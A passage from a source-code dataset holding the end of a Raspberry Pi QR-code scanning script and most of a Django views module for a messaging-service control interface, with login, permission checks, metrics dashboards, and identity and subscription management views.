save_qr_as_jpg(data, output_name):\n data.save(output_name)\n\ndef load_qr_images_from_path(data_path):\n data = []\n path = os.path.join(data_path)\n for img in os.listdir(path):\n try:\n img_array = cv2.imread(os.path.join(path, img))\n data.append([img_array, img])\n except Exception as e:\n print (e)\n pass\n print(data)\n return data\n\ndef decode_input(img):\n img_data = []\n for code in decode(img[0]):\n img_data.append([code.data.decode('utf-8'), code.type])\n print(img_data)\n\n\ndef decode_input_camera(cam):\n img_data = []\n \n with PiCamera() as camera:\n # camera = PiCamera()\n if not camera._check_camera_open():\n camera.resolution = (560, 480)\n camera.framerate = 20\n rawCapture = PiRGBArray(camera, size=(560, 480))\n time.sleep(2)\n else:\n print('camera in use')\n print('scan start')\n try:\n for frame in camera.capture_continuous(rawCapture, format=\"bgr\", use_video_port=True): \n image = frame.array\n cv2.imshow('Testing-QR', image)\n \n key = cv2.waitKey(2) & 0xFF\n rawCapture.truncate()\n rawCapture.seek(0)\n \n for code in decode(image):\n img_data.append([code.data.decode('utf-8'), code.type])\n #camera.close()\n cv2.destroyAllWindows()\n return img_data, camera\n \n if key == ord('q'):\n #camera.close()\n cv2.destroyAllWindows()\n return img_data, camera\n \n # Kamera nicht schlißen, sonst wird ein Fehler hochgeworfen.\n # Erst nach return oder sonst was wie hier hochwerfen. \n except KeyError as e:\n camera.close()\n cv2.destroyAllWindows() \n return img_data, camera\n finally:\n camera.close()\n cv2.destroyAllWindows()\n return img_data, camera\n \n\ndef destroy_all_cv():\n cv2.destroyAllWindows()\n \n\n\n\n","repo_name":"Themishau/QR_Code","sub_path":"QR_rasp_noasyn.py","file_name":"QR_rasp_noasyn.py","file_ext":"py","file_size_in_byte":2702,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"48"} +{"seq_id":"71586815507","text":"from functools import wraps\nimport logging\nimport json\nfrom datetime import timedelta\n\nfrom demands import HTTPServiceError\nfrom django.shortcuts import render, redirect, resolve_url\nfrom django.utils.decorators import available_attrs\nfrom django.utils.six.moves.urllib.parse import urlparse\nfrom django.contrib.auth import REDIRECT_FIELD_NAME\nfrom django.contrib.sites.shortcuts import get_current_site\nfrom django.contrib import messages\nfrom django.core.paginator import Paginator, EmptyPage, PageNotAnInteger\nfrom django.urls import reverse\nfrom django.utils.http import is_safe_url\nfrom django.utils.timezone import now\nfrom django.http import HttpResponseRedirect, JsonResponse\nfrom django.template.defaulttags import register\nfrom django.template.response import TemplateResponse\nfrom django.template.context_processors import csrf\nfrom django.conf import settings\nfrom django import forms\nimport dateutil.parser\n\nfrom seed_services_client import (\n ControlInterfaceApiClient,\n HubApiClient,\n IdentityStoreApiClient,\n MessageSenderApiClient,\n SchedulerApiClient,\n StageBasedMessagingApiClient,\n)\nfrom seed_services_client.metrics import MetricsApiClient\n\nfrom urlobject import URLObject\n\nfrom .forms import (AuthenticationForm, IdentitySearchForm,\n RegistrationFilterForm, SubscriptionFilterForm,\n ChangeFilterForm, ReportGenerationForm,\n AddSubscriptionForm, DeactivateSubscriptionForm,\n ChangeSubscriptionForm, MsisdnReportGenerationForm,\n UserDetailSearchForm)\nfrom . import utils\n\nlogger = logging.getLogger(__name__)\n\n\n@register.filter\ndef get_identity_addresses(identity):\n details = identity.get('details', {})\n default_addr_type = details.get('default_addr_type', None)\n addresses = details.get('addresses', {})\n if not default_addr_type:\n logger.warning('No default_addr_type specified for: %r' % (identity,))\n return {}\n return addresses.get(default_addr_type, {})\n\n\n@register.filter\ndef get_item(dictionary, key):\n return dictionary.get(key)\n\n\n@register.filter\ndef get_date(date_string):\n if date_string is not None:\n return dateutil.parser.parse(date_string)\n\n\n@register.simple_tag\ndef replace_query_param(url, parameter, value):\n url = URLObject(url)\n return url.set_query_params([(parameter, value)])\n\n\nciApi = ControlInterfaceApiClient(\n api_url=settings.CONTROL_INTERFACE_SERVICE_URL,\n auth_token=settings.CONTROL_INTERFACE_SERVICE_TOKEN\n)\n\n\ndef request_passes_test(test_func, login_url=None,\n redirect_field_name=REDIRECT_FIELD_NAME):\n \"\"\"\n Decorator for views that checks that the request passes the given test,\n redirecting to the log-in page if necessary. The test should be a callable\n that takes the requst object and returns True if the request passes.\n \"\"\"\n\n def decorator(view_func):\n @wraps(view_func, assigned=available_attrs(view_func))\n def _wrapped_view(request, *args, **kwargs):\n if test_func(request):\n return view_func(request, *args, **kwargs)\n path = request.build_absolute_uri()\n resolved_login_url = resolve_url(login_url or settings.LOGIN_URL)\n # If the login url is the same scheme and net location then just\n # use the path as the \"next\" url.\n login_scheme, login_netloc = urlparse(resolved_login_url)[:2]\n current_scheme, current_netloc = urlparse(path)[:2]\n if ((not login_scheme or login_scheme == current_scheme) and\n (not login_netloc or login_netloc == current_netloc)):\n path = request.get_full_path()\n from django.contrib.auth.views import redirect_to_login\n return redirect_to_login(\n path, resolved_login_url, redirect_field_name)\n return _wrapped_view\n return decorator\n\n\ndef login_required(function=None, redirect_field_name=REDIRECT_FIELD_NAME,\n login_url=None):\n \"\"\"\n Decorator for views that checks that the user is logged in, redirecting\n to the log-in page if necessary.\n \"\"\"\n actual_decorator = request_passes_test(\n lambda r: r.session.get('user_token'),\n login_url=login_url,\n redirect_field_name=redirect_field_name\n )\n if function:\n return actual_decorator(function)\n return actual_decorator\n\n\ndef has_permission(permissions, permission, object_id=None):\n ids = [p['object_id'] for p in permissions if p['type'] == permission]\n if object_id is None and len(ids) == 1:\n return True\n elif object_id is not None and object_id in ids:\n return True\n return False\n\n\ndef permission_required(function=None, permission=None, object_id=None,\n redirect_field_name=REDIRECT_FIELD_NAME,\n login_url=None):\n \"\"\"\n Decorator for views that checks that the user is logged in, redirecting\n to the log-in page if necessary.\n \"\"\"\n actual_decorator = request_passes_test(\n lambda r: has_permission(r.session.get('user_permissions'), permission, object_id), # noqa\n login_url=login_url,\n redirect_field_name=redirect_field_name\n )\n if function:\n return actual_decorator(function)\n return actual_decorator\n\n\ndef tokens_required(service_list):\n \"\"\"\n Ensure the user has the necessary tokens for the specified services\n \"\"\"\n def decorator(func):\n @wraps(func)\n def inner(request, *args, **kwargs):\n for service in service_list:\n if service not in request.session[\"user_tokens\"]:\n return redirect('denied')\n return func(request, *args, **kwargs)\n return inner\n return decorator\n\n\ndef login(request, template_name='ci/login.html',\n redirect_field_name=REDIRECT_FIELD_NAME,\n authentication_form=AuthenticationForm):\n \"\"\"\n Displays the login form and handles the login action.\n \"\"\"\n redirect_to = request.POST.get(redirect_field_name,\n request.GET.get(redirect_field_name, ''))\n\n if request.method == \"POST\":\n form = authentication_form(request, data=request.POST)\n if form.is_valid():\n\n # Ensure the user-originating redirection url is safe.\n if not is_safe_url(\n url=redirect_to, allowed_hosts={request.get_host()}):\n redirect_to = resolve_url(settings.LOGIN_REDIRECT_URL)\n\n # Okay, security check complete. Get the user object from auth api.\n user = form.get_user()\n request.session['user_token'] = user[\"token\"]\n request.session['user_email'] = user[\"email\"]\n request.session['user_permissions'] = user[\"permissions\"]\n request.session['user_id'] = user[\"id\"]\n request.session['user_list'] = user[\"user_list\"]\n\n if not settings.HIDE_DASHBOARDS:\n # Set user dashboards because they are slow to change\n dashboards = ciApi.get_user_dashboards(user[\"id\"])\n dashboard_list = list(dashboards['results'])\n if len(dashboard_list) > 0:\n request.session['user_dashboards'] = \\\n dashboard_list[0][\"dashboards\"]\n request.session['user_default_dashboard'] = \\\n dashboard_list[0][\"default_dashboard\"][\"id\"]\n else:\n request.session['user_dashboards'] = []\n request.session['user_default_dashboard'] = None\n\n # Get the user access tokens too and format for easy access\n tokens = ciApi.get_user_service_tokens(\n params={\"user_id\": user[\"id\"]})\n token_list = list(tokens['results'])\n user_tokens = {}\n if len(token_list) > 0:\n for token in token_list:\n user_tokens[token[\"service\"][\"name\"]] = {\n \"token\": token[\"token\"],\n \"url\": token[\"service\"][\"url\"] + \"/api/v1\"\n }\n request.session['user_tokens'] = user_tokens\n\n return HttpResponseRedirect(redirect_to)\n else:\n form = authentication_form(request)\n\n current_site = get_current_site(request)\n\n context = {\n 'form': form,\n redirect_field_name: redirect_to,\n 'site': current_site,\n 'site_name': current_site.name,\n }\n\n return TemplateResponse(request, template_name, context)\n\n\ndef logout(request):\n try:\n del request.session['user_token']\n del request.session['user_email']\n del request.session['user_permissions']\n del request.session['user_id']\n del request.session['user_dashboards']\n del request.session['user_default_dashboard']\n except KeyError:\n pass\n return redirect('index')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef index(request):\n if \"user_default_dashboard\" in request.session and \\\n request.session[\"user_default_dashboard\"] is not None and \\\n not settings.HIDE_DASHBOARDS:\n return HttpResponseRedirect(reverse('dashboard', args=(\n request.session[\"user_default_dashboard\"],)))\n else:\n return render(request, 'ci/index.html')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef health_messages(request):\n if settings.HIDE_HEALTH:\n return redirect('denied')\n if request.is_ajax():\n METRIC_SENT_SUM = 'message.sent.sum'\n client = MetricsApiClient(\n settings.METRIC_API_URL,\n auth=(settings.METRIC_API_USER, settings.METRIC_API_PASSWORD))\n chart_type = request.GET.get('chart_type', None)\n today = now()\n if chart_type == 'estimated-vs-sent':\n get_days = today.weekday() + 1\n sent = client.get_metrics(\n m=METRIC_SENT_SUM, from_='-%sd' % get_days, interval='1d',\n nulls='zeroize')\n sent_data = utils.get_ranged_data_from_timeseries(\n sent, today, range_type='week')\n\n # The estimate data is stored as .last metrics with 0 - 6\n # representing the days of the week. The cron format specifies\n # 0 = Sunday whereas Python datetime.weekday() specifies\n # 0 = Monday.\n estimate_data = []\n for day in range(7):\n estimated = client.get_metrics(\n m='subscriptions.send.estimate.%s.last' % day, from_='-7d',\n interval='1d', nulls='zeroize')\n estimate_data.append(\n utils.get_last_value_from_timeseries(estimated))\n return JsonResponse({\n 'Estimated': estimate_data,\n 'Sent': sent_data\n })\n\n elif chart_type == 'sent-today':\n get_hours = today.hour\n sent = client.get_metrics(\n m=METRIC_SENT_SUM, from_='-%sh' % get_hours, interval='1h',\n nulls='zeroize')\n sent_data = utils.get_ranged_data_from_timeseries(\n sent, today, range_type='day')\n return JsonResponse({\n 'Today': sent_data\n })\n\n elif chart_type == 'sent-this-week':\n get_days = today.weekday() + 7 # Include last week in the set.\n sent = client.get_metrics(\n m=METRIC_SENT_SUM, from_='-%sd' % get_days, interval='1d',\n nulls='zeroize')\n this_week_data = utils.get_ranged_data_from_timeseries(\n sent, today, range_type='week')\n last_week_data = utils.get_ranged_data_from_timeseries(\n sent, today-timedelta(weeks=1), range_type='week')\n return JsonResponse({\n 'Last week': last_week_data,\n 'This week': this_week_data\n })\n\n return render(request, 'ci/health_messages.html')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef health_subscriptions(request):\n if settings.HIDE_HEALTH:\n return redirect('denied')\n if request.is_ajax():\n METRIC_SUBSCRIPTIONS_SUM = 'subscriptions.created.sum'\n client = MetricsApiClient(\n settings.METRIC_API_URL,\n auth=(settings.METRIC_API_USER, settings.METRIC_API_PASSWORD))\n chart_type = request.GET.get('chart_type', None)\n today = now()\n if chart_type == 'subscriptions-today':\n get_hours = today.hour + 24 # Include yesterday in the set.\n subscriptions = client.get_metrics(\n m=METRIC_SUBSCRIPTIONS_SUM, from_='-%sh' % get_hours,\n interval='1h', nulls='zeroize')\n today_data = utils.get_ranged_data_from_timeseries(\n subscriptions, today, range_type='day')\n yesterday_data = utils.get_ranged_data_from_timeseries(\n subscriptions, today - timedelta(days=1), range_type='day')\n return JsonResponse({\n 'Yesterday': yesterday_data,\n 'Today': today_data\n })\n\n elif chart_type == 'subscriptions-this-week':\n get_days = today.weekday() + 7 # Include last week in the set.\n subscriptions = client.get_metrics(\n m=METRIC_SUBSCRIPTIONS_SUM, from_='-%sd' % get_days,\n interval='1d', nulls='zeroize')\n this_week_data = utils.get_ranged_data_from_timeseries(\n subscriptions, today, range_type='week')\n last_week_data = utils.get_ranged_data_from_timeseries(\n subscriptions, today-timedelta(weeks=1), range_type='week')\n return JsonResponse({\n 'Last week': last_week_data,\n 'This week': this_week_data\n })\n\n return render(request, 'ci/health_subscriptions.html')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef health_registrations(request):\n if settings.HIDE_HEALTH:\n return redirect('denied')\n if request.is_ajax():\n METRIC_REGISTRATIONS_SUM = 'registrations.created.sum'\n client = MetricsApiClient(\n settings.METRIC_API_URL,\n auth=(settings.METRIC_API_USER, settings.METRIC_API_PASSWORD))\n chart_type = request.GET.get('chart_type', None)\n today = now()\n if chart_type == 'registrations-today':\n get_hours = today.hour + 24 # Include yesterday in the set.\n registrations = client.get_metrics(\n m=METRIC_REGISTRATIONS_SUM, from_='-%sh' % get_hours,\n interval='1h', nulls='zeroize')\n today_data = utils.get_ranged_data_from_timeseries(\n registrations, today, range_type='day')\n yesterday_data = utils.get_ranged_data_from_timeseries(\n registrations, today - timedelta(days=1), range_type='day')\n return JsonResponse({\n 'Yesterday': yesterday_data,\n 'Today': today_data\n })\n\n elif chart_type == 'registrations-this-week':\n get_days = today.weekday() + 7 # Include last week in the set.\n registrations = client.get_metrics(\n m=METRIC_REGISTRATIONS_SUM, from_='-%sd' % get_days,\n interval='1d', nulls='zeroize')\n this_week_data = utils.get_ranged_data_from_timeseries(\n registrations, today, range_type='week')\n last_week_data = utils.get_ranged_data_from_timeseries(\n registrations, today-timedelta(weeks=1), range_type='week')\n return JsonResponse({\n 'Last week': last_week_data,\n 'This week': this_week_data\n })\n\n return render(request, 'ci/health_registrations.html')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef dashboard(request, dashboard_id):\n if settings.HIDE_DASHBOARDS:\n return redirect('denied')\n dashboard = ciApi.get_dashboard(int(dashboard_id))\n context = {\"dashboard\": dashboard}\n return render(request, 'ci/dashboard.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef dashboard_metric(request):\n if settings.HIDE_DASHBOARDS:\n return redirect('denied')\n client = MetricsApiClient(\n settings.METRIC_API_URL,\n auth=(settings.METRIC_API_USER, settings.METRIC_API_PASSWORD))\n response = {\"objects\": []}\n filters = {\n \"m\": [],\n \"start\": \"\",\n \"interval\": \"\",\n \"nulls\": \"\"\n }\n\n for k, v in request.GET.lists():\n filters[k] = v\n\n if filters.get('from') is not None:\n filters['from'] = filters['start']\n\n results = client.get_metrics(**filters)\n for metric in filters['m']:\n if metric in results:\n response[\"objects\"].append({\n \"key\": metric, \"values\": results[metric]})\n else:\n response[\"objects\"].append({\n \"key\": metric, \"values\": []})\n\n return JsonResponse(response)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef denied(request):\n return render(request, 'ci/denied.html')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef not_found(request):\n return render(request, 'ci/not_found.html')\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_IDENTITY_SERVICE'])\ndef identities(request):\n context = {}\n idApi = IdentityStoreApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_IDENTITY_SERVICE\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_IDENTITY_SERVICE\"][\"token\"] # noqa\n )\n if 'address_value' in request.GET:\n form = IdentitySearchForm(request.GET)\n if form.is_valid():\n results = idApi.get_identity_by_address(\n address_type=form.cleaned_data['address_type'],\n address_value=form.cleaned_data['address_value'])['results']\n else:\n results = []\n else:\n form = IdentitySearchForm()\n results = idApi.get_identities()['results']\n\n identities = utils.get_page_of_iterator(\n results, settings.IDENTITY_LIST_PAGE_SIZE,\n request.GET.get('page')\n )\n\n context['identities'] = identities\n context['form'] = form\n return render(request, 'ci/identities.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_IDENTITY_SERVICE', 'HUB',\n 'SEED_STAGE_BASED_MESSAGING'])\ndef identity(request, identity):\n idApi = IdentityStoreApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_IDENTITY_SERVICE\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_IDENTITY_SERVICE\"][\"token\"] # noqa\n )\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"] # noqa\n )\n sbmApi = StageBasedMessagingApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"token\"] # noqa\n )\n msApi = MessageSenderApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_MESSAGE_SENDER\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_MESSAGE_SENDER\"][\"token\"] # noqa\n )\n\n messagesets_results = sbmApi.get_messagesets()\n messagesets = {}\n schedules = {}\n choices = []\n for messageset in messagesets_results[\"results\"]:\n messagesets[messageset[\"id\"]] = messageset[\"short_name\"]\n schedules[messageset[\"id\"]] = messageset[\"default_schedule\"]\n choices.append((messageset[\"id\"], messageset[\"short_name\"]))\n\n results = idApi.get_identity(identity)\n sbm_filter = {\n \"identity\": identity\n }\n subscriptions = sbmApi.get_subscriptions(params=sbm_filter)\n\n if request.method == \"POST\":\n if 'add_subscription' in request.POST:\n form = AddSubscriptionForm(request.POST)\n language = results['details'].get(settings.LANGUAGE_FIELD)\n\n if language:\n\n if form.is_valid():\n subscription = {\n \"active\": True,\n \"identity\": identity,\n \"completed\": False,\n \"lang\": language,\n \"messageset\": form.cleaned_data['messageset'],\n \"next_sequence_number\": 1,\n \"schedule\":\n schedules[form.cleaned_data['messageset']],\n \"process_status\": 0,\n }\n sbmApi.create_subscription(subscription)\n\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully created a subscription.',\n extra_tags='success'\n )\n\n ciApi.create_auditlog({\n \"identity_id\": identity,\n \"action\": \"Create\",\n \"action_by\": request.session['user_id'],\n \"model\": \"subscription\"\n })\n else:\n messages.add_message(\n request,\n messages.ERROR,\n 'No language value in {} on the identity.'.format(\n settings.LANGUAGE_FIELD),\n extra_tags='danger'\n )\n\n elif 'deactivate_subscription' in request.POST:\n form = DeactivateSubscriptionForm(request.POST)\n\n if form.is_valid():\n data = {\n \"active\": False\n }\n sbmApi.update_subscription(\n form.cleaned_data['subscription_id'], data)\n\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully deactivated the subscription.',\n extra_tags='success'\n )\n\n ciApi.create_auditlog({\n \"identity_id\": identity,\n \"subscription_id\": form.cleaned_data['subscription_id'],\n \"action\": \"Update\",\n \"action_by\": request.session['user_id'],\n \"model\": \"subscription\",\n \"detail\": \"Deactivated subscription\"\n })\n\n elif 'optout_identity' in request.POST:\n try:\n details = results.get('details', {})\n addresses = details.get('addresses', {})\n\n for address_type, addresses in addresses.items():\n for address, info in addresses.items():\n idApi.create_optout({\n \"identity\": identity,\n \"optout_type\": \"stop\",\n \"address_type\": address_type,\n \"address\": address,\n \"request_source\": \"ci\"})\n\n info['optedout'] = True\n\n hubApi.create_optout_admin({\n settings.IDENTITY_FIELD: identity\n })\n\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully opted out.',\n extra_tags='success'\n )\n\n ciApi.create_auditlog({\n \"identity_id\": identity,\n \"action\": \"Update\",\n \"action_by\": request.session['user_id'],\n \"model\": \"identity\",\n \"detail\": \"Optout identity\"\n })\n except:\n messages.add_message(\n request,\n messages.ERROR,\n 'Optout failed.',\n extra_tags='danger'\n )\n\n hub_filter = {\n settings.IDENTITY_FIELD: identity\n }\n registrations = hubApi.get_registrations(params=hub_filter)\n changes = hubApi.get_changes(params=hub_filter)\n if results is None:\n return redirect('not_found')\n\n outbound_message_params = {\n 'to_identity': identity,\n 'ordering': '-created_at',\n }\n outbound_messages = msApi.get_outbounds(params=outbound_message_params)\n outbound_page = request.GET.get('outbound_page')\n outbound_paginator = Paginator(\n list(outbound_messages['results']),\n settings.IDENTITY_MESSAGES_PAGE_SIZE)\n\n try:\n outbound_messages = outbound_paginator.page(outbound_page)\n except PageNotAnInteger:\n outbound_messages = outbound_paginator.page(1)\n except EmptyPage:\n outbound_messages = outbound_paginator.page(\n outbound_paginator.num_pages)\n\n inbound_message_params = {\n 'from_identity': identity,\n 'ordering': '-created_at',\n }\n inbound_messages = msApi.get_inbounds(inbound_message_params)\n inbound_page = request.GET.get('inbound_page')\n inbound_paginator = Paginator(\n list(inbound_messages['results']),\n settings.IDENTITY_MESSAGES_PAGE_SIZE)\n\n try:\n inbound_messages = inbound_paginator.page(inbound_page)\n except PageNotAnInteger:\n inbound_messages = inbound_paginator.page(1)\n except EmptyPage:\n inbound_messages = inbound_paginator.page(inbound_paginator.num_pages)\n\n deactivate_subscription_form = DeactivateSubscriptionForm()\n add_subscription_form = AddSubscriptionForm()\n add_subscription_form.fields['messageset'] = forms.ChoiceField(\n choices=choices)\n\n optout_visible = False\n details = results.get('details', {})\n addresses = details.get('addresses', {})\n msisdns = addresses.get('msisdn', {})\n optout_visible = any(\n (not d.get('optedout') for _, d in msisdns.items()))\n\n audit_logs = ciApi.get_auditlogs({\"identity_id\": identity})\n context = {\n \"identity\": results,\n \"registrations\": registrations,\n \"changes\": changes,\n \"messagesets\": messagesets,\n \"subscriptions\": subscriptions,\n \"outbound_messages\": outbound_messages,\n \"add_subscription_form\": add_subscription_form,\n \"deactivate_subscription_form\": deactivate_subscription_form,\n \"inbound_messages\": inbound_messages,\n \"optout_visible\": optout_visible,\n \"audit_logs\": audit_logs,\n \"users\": request.session['user_list']\n }\n\n context.update(csrf(request))\n return render(request, 'ci/identities_detail.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['HUB'])\ndef registrations(request):\n context = {}\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"] # noqa\n )\n if 'mother_id' in request.GET:\n form = RegistrationFilterForm(request.GET)\n if form.is_valid():\n reg_filter = {\n settings.STAGE_FIELD: form.cleaned_data['stage'],\n \"validated\": form.cleaned_data['validated'],\n settings.IDENTITY_FIELD:\n form.cleaned_data['mother_id']\n }\n registrations = hubApi.get_registrations(\n params=reg_filter)['results']\n else:\n registrations = []\n else:\n form = RegistrationFilterForm()\n registrations = hubApi.get_registrations()['results']\n\n context['form'] = form\n context['registrations'] = utils.get_page_of_iterator(\n registrations,\n settings.REGISTRATION_LIST_PAGE_SIZE,\n request.GET.get('page')\n )\n\n return render(request, 'ci/registrations.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['HUB'])\ndef registration(request, registration):\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"] # noqa\n )\n if request.method == \"POST\":\n pass\n else:\n results = hubApi.get_registration(registration)\n if results is None:\n return redirect('not_found')\n context = {\n \"registration\": results\n }\n context.update(csrf(request))\n return render(request, 'ci/registrations_detail.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['HUB'])\ndef changes(request):\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"],\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"]\n )\n if 'mother_id' in request.GET:\n form = ChangeFilterForm(request.GET)\n if form.is_valid():\n change_filter = {\n \"action\": form.cleaned_data['action'],\n \"validated\": form.cleaned_data['validated'],\n settings.IDENTITY_FIELD:\n form.cleaned_data['mother_id']\n }\n changes = hubApi.get_changes(params=change_filter)['results']\n else:\n changes = []\n else:\n form = ChangeFilterForm()\n changes = hubApi.get_changes()['results']\n\n changes = utils.get_page_of_iterator(\n changes, settings.CHANGE_LIST_PAGE_SIZE, request.GET.get('page'))\n\n context = {\n \"changes\": changes,\n \"form\": form\n }\n return render(request, 'ci/changes.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['HUB'])\ndef change(request, change):\n hubApi = HubApiClient(\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"],\n auth_token=request.session[\"user_tokens\"][\"HUB\"][\"token\"]\n )\n if request.method == \"POST\":\n pass\n else:\n results = hubApi.get_change(change)\n if results is None:\n return redirect('not_found')\n context = {\"change\": results}\n context.update(csrf(request))\n return render(request, 'ci/changes_detail.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_STAGE_BASED_MESSAGING'])\ndef subscriptions(request):\n sbmApi = StageBasedMessagingApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"token\"] # noqa\n )\n\n messagesets_results = sbmApi.get_messagesets()\n messagesets = {}\n for messageset in messagesets_results[\"results\"]:\n messagesets[messageset[\"id\"]] = messageset[\"short_name\"]\n\n if 'identity' in request.GET:\n form = SubscriptionFilterForm(request.GET)\n if form.is_valid():\n sbm_filter = {\n \"identity\": form.cleaned_data['identity'],\n \"active\": form.cleaned_data['active'],\n \"completed\": form.cleaned_data['completed']\n }\n subscriptions = sbmApi.get_subscriptions(\n params=sbm_filter)['results']\n else:\n subscriptions = []\n else:\n form = SubscriptionFilterForm()\n subscriptions = sbmApi.get_subscriptions()['results']\n\n subscriptions = utils.get_page_of_iterator(\n subscriptions, settings.SUBSCRIPTION_LIST_PAGE_SIZE,\n request.GET.get('page'))\n\n context = {\n \"subscriptions\": subscriptions,\n \"messagesets\": messagesets,\n \"form\": form\n }\n context.update(csrf(request))\n return render(request, 'ci/subscriptions.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_STAGE_BASED_MESSAGING'])\ndef subscription(request, subscription):\n sbmApi = StageBasedMessagingApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"token\"] # noqa\n )\n messagesets_results = sbmApi.get_messagesets()\n messagesets = {}\n for messageset in messagesets_results[\"results\"]:\n messagesets[messageset[\"id\"]] = messageset[\"short_name\"]\n\n results = sbmApi.get_subscription(subscription)\n if results is None:\n return redirect('not_found')\n\n if request.method == \"POST\":\n try:\n form = ChangeSubscriptionForm(request.POST)\n if form.is_valid():\n\n lang = form.cleaned_data[\"language\"]\n messageset = form.cleaned_data[\"messageset\"]\n\n if (lang != results[\"lang\"] or\n messageset != results[\"messageset\"]):\n hubApi = HubApiClient(\n request.session[\"user_tokens\"][\"HUB\"][\"token\"],\n api_url=request.session[\"user_tokens\"][\"HUB\"][\"url\"]) # noqa\n\n change = {\n settings.IDENTITY_FIELD: results[\"identity\"],\n \"subscription\": subscription\n }\n\n if lang != results[\"lang\"]:\n change[\"language\"] = lang\n if messageset != results[\"messageset\"]:\n change[\"messageset\"] = messagesets[messageset]\n\n hubApi.create_change_admin(change)\n\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully added change.',\n extra_tags='success'\n )\n\n if lang != results[\"lang\"]:\n ciApi.create_auditlog({\n \"identity_id\": results[\"identity\"],\n \"action\": \"Update\",\n \"action_by\": request.session['user_id'],\n \"model\": \"subscription\",\n \"detail\": \"Updated language: {} to {}\".format(\n results[\"lang\"], lang)\n })\n if messageset != results[\"messageset\"]:\n ciApi.create_auditlog({\n \"identity_id\": results[\"identity\"],\n \"action\": \"Update\",\n \"action_by\": request.session['user_id'],\n \"model\": \"subscription\",\n \"detail\": \"Updated messageset: {} to {}\".format(\n messagesets[results[\"messageset\"]],\n messagesets[messageset])\n })\n\n except:\n messages.add_message(\n request,\n messages.ERROR,\n 'Change failed.',\n extra_tags='danger'\n )\n\n languages = sbmApi.get_messageset_languages()\n\n context = {\n \"subscription\": results,\n \"messagesets\": messagesets,\n \"languages\": json.dumps(languages)\n }\n context.update(csrf(request))\n return render(request, 'ci/subscriptions_detail.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef services(request):\n services = ciApi.get_services()\n context = {\"services\": services}\n return render(request, 'ci/services.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\ndef service(request, service):\n results = ciApi.get_service(service)\n service_status = ciApi.get_service_status(service)\n context = {\n \"service\": results,\n \"service_status\": service_status\n }\n return render(request, 'ci/services_detail.html', context)\n\n\n@login_required(login_url='/login/')\n@permission_required(permission='ci:view', login_url='/login/')\n@tokens_required(['SEED_STAGE_BASED_MESSAGING'])\ndef subscription_failures(request):\n sbmApi = StageBasedMessagingApiClient(\n api_url=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"url\"], # noqa\n auth_token=request.session[\"user_tokens\"][\"SEED_STAGE_BASED_MESSAGING\"][\"token\"] # noqa\n )\n if request.method == \"POST\":\n requeue = sbmApi.requeue_failed_tasks()\n if ('requeued_failed_tasks' in requeue and\n requeue['requeued_failed_tasks']):\n messages.add_message(\n request,\n messages.INFO,\n 'Successfully re-queued all subscription tasks'\n )\n else:\n messages.add_message(\n 